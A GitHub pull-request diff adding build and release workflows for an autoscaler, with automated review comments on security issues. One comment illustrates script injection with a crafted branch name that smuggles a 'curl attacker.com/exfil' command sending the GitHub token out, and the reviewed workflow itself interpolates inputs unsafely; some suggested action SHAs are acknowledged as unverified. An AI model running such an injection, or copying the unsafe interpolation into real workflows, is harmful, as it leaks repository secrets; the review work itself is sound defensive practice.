Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
78 changes: 78 additions & 0 deletions .github/workflows/odh-build-image.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
name: ODH Build and Push Image
# Builds container image on every PR to validate the build.
# On merge to main, builds and pushes the image to Quay.io.

on:
pull_request:
branches:
- main
types: [opened, synchronize, reopened]
paths-ignore:
- '**/*.md'
- 'docs/**'
- 'deploy/**'
- 'hack/**'
- 'test/**'
- 'LICENSE'
- 'OWNERS'
- '_typos.toml'
- '.github/**'
- '!.github/workflows/odh-build-image.yaml'
push:
branches:
- main
paths-ignore:
- '**/*.md'
- 'docs/**'
- 'deploy/**'
- 'hack/**'
- 'test/**'
- 'LICENSE'
- 'OWNERS'
- '_typos.toml'
- '.github/**'
- '!.github/workflows/odh-build-image.yaml'

env:
REGISTRY: quay.io
REGISTRY_ORG: opendatahub-io
IMAGE_NAME: workload-variant-autoscaler

jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
Comment on lines +42 to +44
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Missing job-level permissions violates least-privilege (CWE-250).

No permissions block defined. Default token permissions are overly broad. Add explicit minimal permissions:

 jobs:
   build-and-push:
     runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
     steps:

As per coding guidelines: "Set least-privilege permissions per job, not workflow level".

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
build-and-push:
runs-on: ubuntu-latest
steps:
build-and-push:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
steps:
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/odh-build-image.yaml around lines 42 - 44, The job
"build-and-push" lacks an explicit job-level permissions block; add a minimal
permissions section under the build-and-push job to enforce least-privilege
(e.g., set contents: read, packages: write, id-token: write if using OIDC,
actions: read) instead of relying on default token permissions; place the
permissions mapping directly under the build-and-push job definition so CI steps
that push images (packages) and read repo contents have only the required
scopes.

- name: Checkout source
uses: actions/checkout@v6
Comment on lines +45 to +46
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Pin all actions by full SHA to prevent supply chain attacks (CWE-1357).

Tag references (@v3, @v6) are mutable. An attacker who compromises the upstream repo can push malicious code under the same tag.

Proposed fix with SHA pinning
     steps:
       - name: Checkout source
-        uses: actions/checkout@v6
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@b5ca514318bd6ebac0fb2aedd5d36ec1b5c232a2 # v3.10.0

       - name: Login to Quay.io
         if: github.event_name == 'push'
-        uses: docker/login-action@v3
+        uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
         with:
           registry: ${{ env.REGISTRY }}
           username: ${{ secrets.QUAY_ID }}
           password: ${{ secrets.QUAY_TOKEN }}

       - name: Build and push image
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@263435318d21b8e681c14492fe198f0a0c3f86e7 # v6.18.0

As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".

What are the latest SHA commits for actions/checkout v4, docker/setup-buildx-action v3, docker/login-action v3, and docker/build-push-action v6?

Also applies to: 59-60, 62-64, 70-71

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/odh-build-image.yaml around lines 45 - 46, Replace mutable
tag refs like actions/checkout@v6, docker/setup-buildx-action@v3,
docker/login-action@v3 and docker/build-push-action@v6 with their corresponding
full commit SHA pins; find each action repo (e.g., actions/checkout,
docker/setup-buildx-action, docker/login-action, docker/build-push-action), open
the tag (v4/v3/v6 as used) on GitHub and copy the full commit SHA for that tag,
then update the workflow entries (the uses: lines) to use the full SHA instead
of the `@tag`, and apply the same change to the other occurrences noted (lines
referenced around the other uses entries).


- name: Determine image tag
id: tag
run: |
if [[ "${{ github.event_name }}" == "pull_request" ]]; then
TAG="pr-${{ github.event.number }}"
else
TAG="latest"
fi
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
echo "Image will be tagged as: ${TAG}"

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3

- name: Login to Quay.io
if: github.event_name == 'push'
uses: docker/login-action@v3
with:
registry: ${{ env.REGISTRY }}
username: ${{ secrets.QUAY_ID }}
password: ${{ secrets.QUAY_TOKEN }}

- name: Build and push image
uses: docker/build-push-action@v6
with:
context: .
push: ${{ github.event_name == 'push' }}
tags: ${{ env.REGISTRY }}/${{ env.REGISTRY_ORG }}/${{ env.IMAGE_NAME }}:${{ steps.tag.outputs.tag }}
platforms: linux/amd64
cache-from: type=gha
cache-to: type=gha,mode=max
Comment on lines +70 to +78
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Verify Dockerfile ARG declarations and their usage
echo "=== ARG declarations ==="
rg -n '^ARG ' Dockerfile

echo -e "\n=== Usage of APP_BUILD_ROOT ==="
rg -n 'APP_BUILD_ROOT' Dockerfile

echo -e "\n=== Usage of VERSION ==="
rg -n 'VERSION' Dockerfile

Repository: opendatahub-io/workload-variant-autoscaler

Length of output: 399


🏁 Script executed:

#!/bin/bash
# Get the full Dockerfile content to understand ARG defaults and usage context
echo "=== Full Dockerfile content ==="
cat Dockerfile

Repository: opendatahub-io/workload-variant-autoscaler

Length of output: 993


APP_BUILD_ROOT must be provided as a build argument; VERSION is unused in the Dockerfile.

The issue with APP_BUILD_ROOT is valid—it's declared without a default at line 5 and used in both WORKDIR (line 12) and COPY (line 28). Without providing this as a build-arg, the paths resolve to empty strings, producing a malformed image.

However, VERSION (line 24) is declared but never used in the Dockerfile. Including it in the build-args is unnecessary.

Proposed fix
       - name: Build and push image
         uses: docker/build-push-action@v6
         with:
           context: .
           push: ${{ github.event_name == 'push' }}
           tags: ${{ env.REGISTRY }}/${{ env.REGISTRY_ORG }}/${{ env.IMAGE_NAME }}:${{ steps.tag.outputs.tag }}
           platforms: linux/amd64
+          build-args: |
+            APP_BUILD_ROOT=/app
           cache-from: type=gha
           cache-to: type=gha,mode=max
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Build and push image
uses: docker/build-push-action@v6
with:
context: .
push: ${{ github.event_name == 'push' }}
tags: ${{ env.REGISTRY }}/${{ env.REGISTRY_ORG }}/${{ env.IMAGE_NAME }}:${{ steps.tag.outputs.tag }}
platforms: linux/amd64
cache-from: type=gha
cache-to: type=gha,mode=max
- name: Build and push image
uses: docker/build-push-action@v6
with:
context: .
push: ${{ github.event_name == 'push' }}
tags: ${{ env.REGISTRY }}/${{ env.REGISTRY_ORG }}/${{ env.IMAGE_NAME }}:${{ steps.tag.outputs.tag }}
platforms: linux/amd64
build-args: |
APP_BUILD_ROOT=/app
cache-from: type=gha
cache-to: type=gha,mode=max
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/odh-build-image.yaml around lines 70 - 78, The workflow
step "Build and push image" must pass APP_BUILD_ROOT into the build as a
build-arg and drop the unused VERSION arg: update the
docker/build-push-action@v6 step (the "Build and push image" step) to include
build-args with APP_BUILD_ROOT set from the workflow env (e.g. APP_BUILD_ROOT:
${{ env.APP_BUILD_ROOT }}) so WORKDIR and COPY in the Dockerfile resolve
correctly, and remove VERSION from build-args since the Dockerfile never uses
it. Ensure other settings (tags, push, platforms, cache-from/cache-to) remain
unchanged.

106 changes: 106 additions & 0 deletions .github/workflows/odh-release.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
name: ODH Release
# Creates a release branch from main (or a specific commit), optionally tags it,
# and creates a GitHub release with auto-generated release notes.

on:
workflow_dispatch:
inputs:
release_branch:
description: 'Name of the release branch (e.g. release-v3.5.0, release-v3.4.0-ea1)'
required: true
type: string
source_ref:
description: 'Source commit SHA to create the release branch from. Leave empty to use the latest commit on main.'
required: false
type: string
default: ''
create_tag:
description: 'Create a tag from the release branch? Tag will be derived from branch name (e.g. release-v3.5.0 -> v3.5.0)'
required: true
type: boolean
default: false
create_release:
description: 'Create a GitHub release with auto-generated release notes? (requires create_tag)'
required: true
type: boolean
default: false

env:
DEFAULT_BRANCH: main

jobs:
create-release-branch:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Validate branch name
run: |
BRANCH="${{ inputs.release_branch }}"
if [[ ! "$BRANCH" =~ ^release-v[0-9]+\.[0-9]+\.[0-9]+(-.+)?$ ]]; then
echo "::error::Invalid branch name '${BRANCH}'. Must match pattern 'release-v<major>.<minor>.<patch>[-<prerelease>]' (e.g. release-v3.5.0, release-v3.4.0-ea1)"
exit 1
fi
echo "Branch name '${BRANCH}' is valid."
Comment on lines +38 to +44
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Script injection via unsanitized workflow inputs (CWE-94).

${{ inputs.release_branch }} and ${{ inputs.source_ref }} are interpolated directly into shell scripts. A user with workflow_dispatch permission can inject arbitrary shell commands via crafted input like release-v1.0.0"; curl attacker.com/exfil?token=$GITHUB_TOKEN #.

Pass inputs via environment variables instead:

Proposed fix for all affected run blocks
       - name: Validate branch name
+        env:
+          BRANCH: ${{ inputs.release_branch }}
         run: |
-          BRANCH="${{ inputs.release_branch }}"
           if [[ ! "$BRANCH" =~ ^release-v[0-9]+\.[0-9]+\.[0-9]+(-.+)?$ ]]; then
             echo "::error::Invalid branch name '${BRANCH}'. Must match pattern 'release-v<major>.<minor>.<patch>[-<prerelease>]' (e.g. release-v3.5.0, release-v3.4.0-ea1)"
             exit 1
           fi
           echo "Branch name '${BRANCH}' is valid."

       - name: Create release branch
+        env:
+          BRANCH: ${{ inputs.release_branch }}
+          SOURCE_REF: ${{ inputs.source_ref }}
         run: |
-          BRANCH="${{ inputs.release_branch }}"
-          SOURCE_REF="${{ inputs.source_ref }}"
           if [[ -n "${SOURCE_REF}" ]]; then
             echo "Creating release branch from SHA: ${SOURCE_REF}"
             git checkout "${SOURCE_REF}"
           else
             echo "Creating release branch from latest ${{ env.DEFAULT_BRANCH }}"
           fi
           git checkout -b "${BRANCH}"
           git push origin "${BRANCH}"
           echo "::notice::Created release branch '${BRANCH}' from ${SOURCE_REF:-${{ env.DEFAULT_BRANCH }}}"

       - name: Derive tag and push
         id: derive-tag
+        env:
+          BRANCH: ${{ inputs.release_branch }}
         run: |
-          BRANCH="${{ inputs.release_branch }}"
           TAG="${BRANCH#release-}"
           echo "Tagging release branch '${BRANCH}' as '${TAG}'"
           echo "tag=${TAG}" >> "$GITHUB_OUTPUT"

           git tag "${TAG}"
           git push origin "${TAG}"
           echo "::notice::Created and pushed tag '${TAG}'"

As per coding guidelines: "Never interpolate event data directly in run: blocks (script injection CWE-94)".

Also applies to: 52-64, 79-89

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/odh-release.yaml around lines 38 - 44, The run block is
vulnerable to script injection because inputs.release_branch and
inputs.source_ref are interpolated directly into the shell; change to pass these
values via environment variables (e.g., map inputs.release_branch -> BRANCH and
inputs.source_ref -> SOURCE_REF using the workflow's env: or job step env:) and
reference $BRANCH/$SOURCE_REF inside the run script (keep them fully quoted)
rather than embedding the ${ { inputs.... } } expressions inline; apply the same
fix to the other run blocks that use inputs.release_branch/source_ref and ensure
you do not use eval or unquoted expansions so the existing branch-validation
regex against BRANCH remains safe.


- name: Checkout ${{ env.DEFAULT_BRANCH }}
uses: actions/checkout@v6
Comment on lines +46 to +47
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

What is the latest SHA commit for softprops/action-gh-release v2?

💡 Result:

The latest release for softprops/action-gh-release v2 is v2.6.1, released on March 16, 2026. The latest commit SHA for the v2.5.2 tag (visible in search results) is b25b93d. Full SHAs for newer tags like v2.6.1 are not explicitly found in the search snippets, but v2.6.1 is confirmed as the latest via GitHub repo page and newreleases.io. For the absolute latest commit on the default branch (likely master), it is the most recent of 479 commits as per repo page, but specific SHA not extracted.

Citations:


🏁 Script executed:

# First, check the actual workflow file
cat -n .github/workflows/odh-release.yaml | head -110

Repository: opendatahub-io/workload-variant-autoscaler

Length of output: 4388


🏁 Script executed:

# Get the latest official SHAs for actions/checkout v6 and softprops/action-gh-release
# Search GitHub Actions documentation or releases
curl -s https://api.github.com/repos/actions/checkout/releases/tags/v6 | jq '.target_commitish, .assets[] | select(.name | contains("")) | .name' 2>/dev/null || echo "API lookup"

Repository: opendatahub-io/workload-variant-autoscaler

Length of output: 96


🏁 Script executed:

# Search for all uses of actions in the workflow file
rg "uses:" .github/workflows/odh-release.yaml -A 0

Repository: opendatahub-io/workload-variant-autoscaler

Length of output: 198


🏁 Script executed:

# Get the correct SHA for actions/checkout v6
# Check GitHub API for v6 release
python3 << 'EOF'
import json
import subprocess

# Try to get checkout v6 SHA
try:
    result = subprocess.run(
        ['curl', '-s', 'https://api.github.com/repos/actions/checkout/releases/tags/v6'],
        capture_output=True, text=True
    )
    data = json.loads(result.stdout)
    if 'tag_commitish' in data:
        print(f"actions/checkout@v6 SHA: {data['tag_commitish']}")
    if 'body' in data:
        print("Release info available")
except Exception as e:
    print(f"Error: {e}")

# For softprops action-gh-release
try:
    result = subprocess.run(
        ['curl', '-s', 'https://api.github.com/repos/softprops/action-gh-release/releases/tags/v2'],
        capture_output=True, text=True, timeout=5
    )
    data = json.loads(result.stdout)
    if 'message' in data and 'Not Found' in data['message']:
        print("v2 tag is a rolling tag, trying v2.6.1")
        result = subprocess.run(
            ['curl', '-s', 'https://api.github.com/repos/softprops/action-gh-release/releases/tags/v2.6.1'],
            capture_output=True, text=True, timeout=5
        )
        data = json.loads(result.stdout)
    if 'tag_commitish' in data:
        print(f"softprops/action-gh-release latest SHA: {data['tag_commitish']}")
except Exception as e:
    print(f"Error: {e}")
EOF

Repository: opendatahub-io/workload-variant-autoscaler

Length of output: 68


🌐 Web query:

What is the exact commit SHA for actions/checkout version 6?

💡 Result:

The exact commit SHA for actions/checkout version 6 (v6.0.0) is 1af3b93b68..., corresponding to the commit "update readme/changelog for v6 (#2311)" dated 2025-11-20. This is the top commit on the v6.0.0 tag as shown in the mirror repository commit graph at https://git.velechovsky.com/actions/checkout/commits/tag/v6.0.0/README.md. Official GitHub sources confirm v6.0.0 exists as the initial v6 release (CHANGELOG.md and releases page), and tags point to specific commits. For the full SHA, visit the tag on GitHub: https://github.com/actions/checkout/releases/tag/v6.0.0 and note the commit SHA displayed there. Pinning to SHA is recommended for security as per GitHub best practices.

Citations:


🌐 Web query:

What is the exact commit SHA for softprops/action-gh-release version 2?

💡 Result:

There is no exact commit SHA for "softprops/action-gh-release version 2" because "v2" refers to the major version branch or reference used in GitHub Actions workflows (uses: softprops/action-gh-release@v2), which resolves to the latest release tag with a v2.x.x version (currently v2.6.1 as of March 2026). GitHub Actions pins to the commit SHA of the specific tag at resolution time, but "version 2" itself is not a specific tagged release with a single SHA. Specific releases like v2.5.2 point to commit b25b93d (short SHA). For v1, examples like de2c0eb89ae2a093876385947365aca7b0e5f844 exist in usage examples.

Citations:


Pin actions by full SHA (CWE-1357).

Supply chain attack risk on unpinned action versions. Applies to all three instances (lines 46–47, 73–74, 100–101).

  • actions/checkout@v6 → pin to full SHA for v6 release
  • softprops/action-gh-release@v2 → pin to full SHA for v2.6.1 (latest v2.x)

The proposed fix SHAs are mismatched to the versions in use; verify correct SHAs from official GitHub releases before applying.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/odh-release.yaml around lines 46 - 47, Replace unpinned
action tags with their full commit SHAs: for each occurrence of
actions/checkout@v6, softprops/action-gh-release@v2 (and the third unpinned
action instance referenced in the review), update the uses: entry to the
corresponding full SHA for the specific release you intend to use (e.g., the v6
release commit SHA for actions/checkout and the v2.6.1 commit SHA for
softprops/action-gh-release); verify the SHAs against the official GitHub
release tags before committing to ensure the pinned SHAs match the intended
versions.

with:
ref: ${{ env.DEFAULT_BRANCH }}
fetch-depth: 0

- name: Create release branch
run: |
BRANCH="${{ inputs.release_branch }}"
SOURCE_REF="${{ inputs.source_ref }}"
if [[ -n "${SOURCE_REF}" ]]; then
echo "Creating release branch from SHA: ${SOURCE_REF}"
git checkout "${SOURCE_REF}"
else
echo "Creating release branch from latest ${{ env.DEFAULT_BRANCH }}"
fi
git checkout -b "${BRANCH}"
git push origin "${BRANCH}"
echo "::notice::Created release branch '${BRANCH}' from ${SOURCE_REF:-${{ env.DEFAULT_BRANCH }}}"

tag-release:
needs: create-release-branch
if: inputs.create_tag
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout release branch
uses: actions/checkout@v6
with:
ref: ${{ inputs.release_branch }}
fetch-depth: 0

- name: Derive tag and push
id: derive-tag
run: |
BRANCH="${{ inputs.release_branch }}"
TAG="${BRANCH#release-}"
echo "Tagging release branch '${BRANCH}' as '${TAG}'"
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"

git tag "${TAG}"
git push origin "${TAG}"
echo "::notice::Created and pushed tag '${TAG}'"
outputs:
tag: ${{ steps.derive-tag.outputs.tag }}

create-release:
needs: tag-release
if: inputs.create_tag && inputs.create_release
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Create GitHub release
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ needs.tag-release.outputs.tag }}
name: ODH release ${{ needs.tag-release.outputs.tag }}
generate_release_notes: true
prerelease: ${{ contains(needs.tag-release.outputs.tag, '-') }}
Loading